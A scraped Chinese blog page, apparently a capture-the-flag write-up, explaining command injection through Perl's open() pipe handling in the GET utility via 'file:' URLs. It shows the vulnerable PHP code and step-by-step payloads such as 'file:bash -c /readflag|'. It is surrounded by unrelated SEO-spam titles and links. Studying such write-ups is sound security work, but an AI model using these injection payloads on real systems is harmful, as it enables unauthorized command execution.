当前位置: 首页 > news >正文

白云做网站要多少钱成都系统软件定制开发

白云做网站要多少钱,成都系统软件定制开发,新冠数据实时更新,做3d地形比较好的网站这里记录学习一下 perl的open缺陷 这里首先本地测试一下 发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行 然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行 然后这里如果file可控那么就继续可以实现命令执行 这里就…

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名 作为shell输出

touch 'id|'GET 'file:id|'

类似这种

然后我们可以开始做这个题目

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容 我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件(名字为shell)

然后通过(GET filename)这种形式实现命令执行 然后再写入一个文件

这里可能比较抽象 我们来本地测试一下

这里我们首先可以通过

    @mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

url=123&filename=ls|   //目的创建一个shell名字的文件然后url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件 无法获取flag 我们通过 bash开启操作即可

?url=123|&filename=bash -c /readflag|/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现 但是麻烦了

http://www.yayakq.cn/news/782199/

相关文章:

  • 怎么建网站平台卖东西泰安房产网签成交数据
  • 网站推广的方案设计怎么写设计网站推荐html
  • 学做甜品的网站国外网站设计欣赏
  • 网站好友邀请链接生成 phpwordpress 添加栏目
  • html5 单页 响应式 网站模板网站模板工具
  • SharePoint做网站好吗网站怎么做到秒收录
  • 优设网站怎么下载关键词排名什么意思
  • 兰溪好品质高端网站设计如何为公司建立网站
  • 马化腾做的电商网站桂电做网站的毕设容易过嘛
  • wordpress安装到网站阿里云怎么上传wordpress
  • 佛山小网站建设网站尾部
  • 西安广告网站制作比较好的网页网站设计
  • 域名注册网站 简称台州网站制作台州网站建设
  • 合肥市城乡建设局网站聊城专业建网站价格
  • 网站专业性免费评价工具青岛做网站的公司哪家好
  • 公网怎么做网站网站建设关键词分类
  • 张掖网站建设公司北京通信管理局网站备案处
  • 网站微场景代码青岛seo招聘
  • 自己做网站做淘宝客绿色食品网站建设论文
  • 婚庆网站名字sem营销
  • 郑州网站排名哪家好wordpress案例站点
  • 南宁网站建设南宁国内seo公司排名
  • 叫外包公司做网站不肯给源代码的官方网站怎样做
  • 怎么制作微网站网络推广公司成都
  • 一个网站一年的费用多少口碑营销的定义
  • 大连免费建站模板网站建设的售后
  • 企业网站设计哪个好城乡住房和城乡建设部网站
  • 第三方公司做网站价格详情页模板哪个网站好
  • 做国际贸易的有哪有个网站南京本地网站建站
  • iis5.1发布网站网站招聘怎么做